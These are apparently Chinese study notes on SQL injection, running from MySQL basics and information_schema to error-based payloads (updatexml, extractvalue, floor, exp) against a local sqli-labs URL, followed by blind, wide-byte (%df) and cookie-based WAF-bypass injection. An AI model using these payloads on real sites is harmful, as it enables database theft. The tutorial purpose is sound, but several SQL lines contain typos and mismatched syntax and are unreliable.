A:SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
 
 
查看数据库
show database;

 
 
创建一个数据库
create database_name; 
database_name表示需要创建的数据库名字,数据库的命名应简单明了并遵循以下命名规则:
  1.由字母和下户线组成,不允许由空格;
  2.不允许是SQL关键字;
  3.长度最好不超过128位;
  4.不能与其他数据库同名。
create test1;

 
 
使用数据库
use database_name;
use test1;

 
 
选择一个数据库 information_schema 查看该数据库里的表
use information_schema;
show tables;

 
 
 
 information_schema 中比较重要的几个表
information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库
information_schema.tables: 该数据表存储了mysql数据库中的所有数据表的表名
information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名
 
创建一个表
 create table table_name(
col_name1 data_type[],
col_name2 data_type[]
);
create table users(id int,usernmae varchar(255),password varchar(255));

 
 添加数据
insert into users(id,username,password) value("admin","123456");  
insert into users(id) value(1);

 
 
 select username from users;

 
 select * from users;

 
 select * from users where id = 1;

 
 select * from username where id = 1;

 
 查询表中内容 desc users;

 
 
SCHEMATA表 : 提供了当前mysql实例中所有数据库的信息。
TABLES 表 : 提供了关于数据库中的表的信息。
COLUMNS 表 :提供了表中的列信息

select * from schemata;

 
select table_name from infromation_schema.tables where table_schema = "test1";
 
如果引号被屏蔽,可以使用在线转换工具将数据库名从ascii转换为十六进制
0xtable_name(十六进制形式)
http://www.ab126.com/system/2779.html
 select table_name from infromation_schema.tables where table_schema = 0x7465737431 ;
 
 
 group_concat
 select group_concat(column_name) from information_schema.columns where table_schema = "test1" and table_name = "users";

 
 select * from users where id = 1 order by 3:

 
 
 select * from users where id = 1 order by 4:

 
 union 联合查询
查询一共几列表,合并两个或多个select语句对的结果集

 
 
0x01查询
1.查询数据库版本用户等信息
2.查询表
http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) --+
 
3.查询列
http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x7e),1) --+
 
http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x7e),1) --+
 
4.查询数据
 
0x02常见的十种报错注入
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
 
0x03 盲注
只会返回两种状态:有数据回显;无数据回显。
1.布尔型盲注
2.时间型盲注
需要掌握的几个函数:
length()返回字符串的长度
substr()截取字符串 (语法:SUBSTR,pos,len)
substr('abcd',1,1) a
ascii()返回字母的ascii码 将字母变为数字
id=1 and substr(database(),1,1)='a' 猜数据库名
通过二分法提高效率,ascii将字母转换为数字
抓包 

 
 
延时盲注依靠时间差
sleep()
and    条件a  and 条件b(sleep())
or       条件a or  条件b
if(exp1,exp2,exp3) 判断语句,如果第一个语句正确执行第二个语句,错误则执行第三个语句
select if(length(database())>5,sleep(2),0);
select if(length(database())=5,sleep(20),0);一般来说延时设置比较长
联合查询>报错注入>布尔盲注>时间盲注
盲注是不用猜字段的 and length(database()) like 'a'
判断伪静态
and 1=2 1=1
 
 
0x04宽字节注入
 
PHP<5.4的版本
魔术引号:SQL注入防御
'=>\'
"=>\"
\=>\\    
魔术引号的开关,在phpstudy 其他选项菜单-PHP扩展及设置-php参数开关
magic_quotes_gpc(魔术引号开关)
addslashes=>魔术引号
攻击方法:
 
1.注入语句中不要出现' " \
sselect*from news where id=1 union select  table_name from information_schema.tables where table_schema=' '
    mysql数据库中,字符串可以使用16进制编码。
    0x=> 标识0x61=>a字符串转换为十六进制
 
2.
select*from news where id='1'
=>2个方法
{%df宽字节}
%df与' 形成汉字 只要两个能凑成一个字
写一个汉字=>utf-8=>3个字符
gbk、gb2312中国的默认编码类型
select*from news where id='1 程' --qwe'
两两成对组成汉字
这里得用GBK编码=>非UTF-8以及英文编码
例如说Mysql的编码设置了SET NAMES 'gbk' 或是SET charac_set_client=gbk
这样配置引发编码转换从而导致的注入漏洞
一般来说post传参不进行url编码解码
抓包
conten-tupe:application/x-www-form-urlencoded 当出现这个的时候目标站点会进行url解码
    post的规格有很多种
    传文件、穿json格式、传文本类型
    content-type
url编码核心是十六进制
    
{明白作用域}=>什么样的传参才会被魔术引号所影响
GET POST COOKIE    
    head注入不会被影响
单引号用0x=>函数只能对字符串进行处理,正常情况下是不能对代码进行处理
0x后会被当做代码执行
如果要用sqlmap跑宽字节注入
1.版本要新
2.要帮助闭合
 
0x05Access注入——Cookie注入
 
Access Mysql mssql(sql server) Oracle
cookies=>特殊的传参方式的注入 =>门禁卡=>身份证
什么是cookie
    cookie就是代表你身份的一串字符串,网站根据cookie来识别你是谁,如果你获取了管理员的cookie可以无需密码直接登录管理员账号。 
动态脚本语言存在超全局变量可以获取多种传参方式
开发时为了考虑到多种接受参数,在接收参数的时用的多种解释传参的方法
    php中的$_REQUEST[ ]可以接受 POST|GET|COOKIE传参
    php5.4以上版本就不会接受cookie传参了
开发用了$REQUEST[ ]来 接收参数,post   和get传参被waf拦截,也许waf没有对cookie检测,所以可以尝试cookie传参绕过。